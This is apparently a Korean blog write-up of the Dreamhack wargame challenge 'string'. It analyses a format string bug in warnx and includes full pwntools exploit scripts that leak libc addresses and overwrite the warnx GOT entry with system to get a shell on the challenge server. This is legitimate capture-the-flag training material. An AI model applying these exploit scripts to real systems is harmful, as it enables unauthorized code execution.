보안/시스템해킹

[시스템 해킹][Dreamhack] string

playalone 2026. 7. 11. 16:31

[문제링크](https://dreamhack.io/wargame/challenges/68)

 

로그인 | Dreamhack

 

dreamhack.io

문제는 다음과 같다. 

 

1. 분석

일단 c코드를 살펴본다.

void input(char *buf) {
	printf("Input: ");
	read(0, buf, 255);
}

void print(char *buf) {
	warnx(buf);
}

warnx는 printf와 같이 작동한다고 하는데 buf를 직접 하고 있으니 FSB가 가능할 것 같다.

 

테스트를 해보자

$ ./string
1. Input
2. Print
3. Exit
> 1
Input: aaaa %p %p %p %p %p %p %p %p
1. Input
2. Print
3. Exit
> 2
string: aaaa 0xfff46278 0x804881f 0xfff46174 0x2 0x61616161 0x20702520 0x25207025 0x70252070

%p의 5번째부터 buf가 존재한다는 것을 알 수 있다. 

 

2. 시나리오 브레인스토밍

시나리오를 작성해 보겠다.

생각나는 방법이 몇 개 있다.

1. bof : canary가 존재하지 않고, ASLR도 존재하지 않는 것으로 보아, input함수에서 buf의 위치에 /bin/sh를 넣고 그다음 위치에 ret의 주소를 넣는다라고 하면, ret가 된 후 print가 실행될 때 ret는 기존 코드 흐름상의 주소로 되어있으며, print함수 중에 수정이 불가하기 때문에 bof는 불가능하다.

2. GOT overwrite : 문제의 필수 유닛에 포함되어 있으며, input함수에서 buf를 저장한 메모리 값을 /bin/sh로 바꾸고, 그다음 값을 warnx의 got주소로 한다면, %7$p의 위치엔 warnx의 got가 있을 것이기 때문에 이 값을 system으로 바꾸게 되면, print함수가 실행될 때 system함수에 인자가 /bin/sh가 들어가게 된다는 가정이다.

 

3. 시나리오: GOT overwrite

 

1. 가능 여부 판단

main함수를 보면

int main() {
	int idx;
	char buf[256];

	initialize();

	memset(buf, 0, sizeof(buf));

	while(1) {
		printf("1. Input\n");
		printf("2. Print\n");
		printf("3. Exit\n");
		printf("> ");

		scanf("%d", &idx);
		switch(idx) {
			case 1:
				input(buf);
				break;
			case 2:
				print(buf);
				break;
			default:
				break;
		}
	}
	return 0;
}

idx가 1일 때 input, 2일 때 print함수가 실행된다. 

어셈블리를 살펴보면

ebp-0x104가 buf임을 알 수 있다.

 

main함수에서 2를 입력하면 warnx(buf)가 실행되는데 이를 system(buf)로 하여 system("/bin/sh")로 실행시키는 것이 목표이다.

이때, 초기 코드를 작성할 때에는 " "로 모든 문자를 payload에 추가하려 했기 때문에 hhn을 사용하여 이후까지 계속 hhn을 사용하였으나, %hn정도를 사용했어도 괜찮았을 것 같다는 생각이 지금 와서 들긴 한다.

하지만, hhn과 hn을 비교하면, 최대 약 256배 정도 console에 출력되는 시간이 더 있었을 것이기 때문에 오랜만에 pwnable을 다시 하는 입장에서 gdb를 프로세스에 붙여 디버깅하기 수월하지 않았나 생각한다.

 

러프하게 payload를 구성하면, /bin/sh;[wanxGotAddress] [wanxGotAddress+1] [wanxGotAddress+2] [wanxGotAddress+3] [FSB 공격 페이로드] 가된다.

이때, /bin/sh뒤에 \x00이 아닌 ;을 넣는 이유는 \x00를 문자열의 끝으로 인식하여 뒤의 %hhn이 인식되지 않아 FSB가 작동하지 않을 것이기 때문에 /bin/sh와 뒤 페이로드를 확실히 구분하며, linux명령어상에서도 문제가 되지 않는 ';'를 사용하였다.

 

이후, main함수에서 1로 input함수를 실행시켜 buf에 payload를 넣고, 2로 FSB를 일으켜 warnx를 system으로 변조하고 2를 다시 입력해 system("/bin/sh")를 실행시키면 된다.

 

이때, /bin/sh;는 총 8바이트를 차지하기 때문에 4바이트씩 읽게 되는 %{n}$hhn에서는 %5$hhn에 두 개의 슬롯에 채워진 후, 다음 인자인 got overwrite는 %7$hhn을 시작으로 %10$hhn을 까지 페이로드에 작성됨을 확인할 수 있다.

 

이때 작성한 exploit 코드는 다음과 같다.

from pwn import *

p = process("./string")
e = ELF("./string")
ld = ELF("./libc.so.6", checksec=False)

warnxGOTAddress = e.got["warnx"]

def send(n, text=""):
    p.sendlineafter(b"> ", str(n).encode())
    if(n == 1):
        p.sendline(text)

payload = b"/bin/sh;"+p32(warnxGOTAddress) + p32(warnxGOTAddress+1) + p32(warnxGOTAddress+2) + p32(warnxGOTAddress+3)
payload += f"%{0x58-len(payload)}c".encode()
payload += b"%8$hhn"
payload += f"%{0xdd-0x58}c".encode()
payload += b"%9$hhn"
payload += f"%{0xe0-0xdd}c".encode()
payload += b"%7$hhn"
payload += f"%{0xf7-0xe0}c".encode()
payload += b"%10$hhn"

print(payload)
send(1, payload)
send(2) ## overwrite
send(2) ## 실제 실행?

p.interactive()

 

 

1) 작성 중 오류 : ASLR

하지만, checksec에 나오지 않은 것이 하나 있었다.

checksec을 보면, 

No pie라 하여 .text와 got는 불변이지만, libc 로드 주소까지 불변인 것인 줄 알고 코드를 작성하였다.

하지만, 실제 코드를 돌려보니 system의 real address가 계속 바뀐다는 것을 발견하여 ASLR이 작동하고 있음을 알았다. 

찾아보니, ASLR은 운영체제의 보호기법으로 checksec결과에는 포함되지 않는다고 한다.

ASLR이 포함되어 있으면 libc의 로드 주소가 실행시마다 바뀐다.

따라서, warnx@got는 사용가능하지만, system의 실제 주소는 libc leak으로 구해야 한다.

 

buf에 libc내의 아무 함수의 got를 넣고 %5$s 하게 되면, 실제 주소를 얻을 수 있고, 이렇게 되면, offset을 통해 system함수의 실제 주소를 얻을 수 있다.

 

이에 따라 코드를 작성하면 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games", 8326)
#p = process("./string")
e = ELF("./string")
ld = ELF("./libc.so.6", checksec=False)

warnxGOTAddress = e.got["warnx"]

def send(n, text=""):
    p.sendlineafter(b"> ", str(n).encode())
    if(n == 1):
        p.sendline(text)

send(1, p32(e.got["printf"]) + b"LEAK:%5$s")

send(2)
p.recvuntil(b"LEAK:")

systemRealAddress = u32(p.recv(4)) - ld.sym["printf"] + ld.sym["system"]

values = [
    [0, systemRealAddress & 0xff],
    [1, (systemRealAddress >> 8) & 0xff],
    [2, (systemRealAddress >> 16) & 0xff],
    [3, (systemRealAddress >> 24) & 0xff],
]
values = sorted(values, key=lambda x: x[1])

payload = b"/bin/sh;"+p32(warnxGOTAddress) + p32(warnxGOTAddress+1) + p32(warnxGOTAddress+2) + p32(warnxGOTAddress+3)
printed = len(payload)

for v in values:
    idx = v[0]
    h = v[1]
    payload += f"%{h-printed}c".encode()
    printed = h
    payload += f"%{7+idx}$hhn".encode()

print(payload)
send(1, payload)
send(2) ## overwrite
send(2) ## 실제 실행?

p.interactive()

 

로컬에서 실행하면 로컬의 libc가 달라 쉘을 얻지 못하지만, 문제에서 제공한 libc의 오프셋을 적용하여 서버에서 실행하면 정상적으로 쉘을 획득할 수 있다.

정상적으로 shell을 얻을 수 있음을 확인할 수 있다.

 

2) 한계 및 해결책

현재 코드에도 문제가 남아있다.

len(payload)를 초기 printed로 사용하고 있는데, 만약 values의 가장 작은 값이 len(payload) 보다 작다면 그냥 코드자체를 다시 돌려야 하기 때문에 0x100을 더하는 식으로 하여 문제를 해결할 수 있을 것이다.

'보안 > 시스템해킹' 카테고리의 다른 글

[Dreamhack][시스템해킹] pet pals  (0) 2026.08.14
[Dreamhack][시스템 해킹] dreamvm  (0) 2026.07.18
[시스템 해킹][재활][dreamhack] block bof  (0) 2025.06.25
[Dream Hack] ssp_001  (0) 2024.05.31
[Dream Hack] cherry  (0) 2024.05.10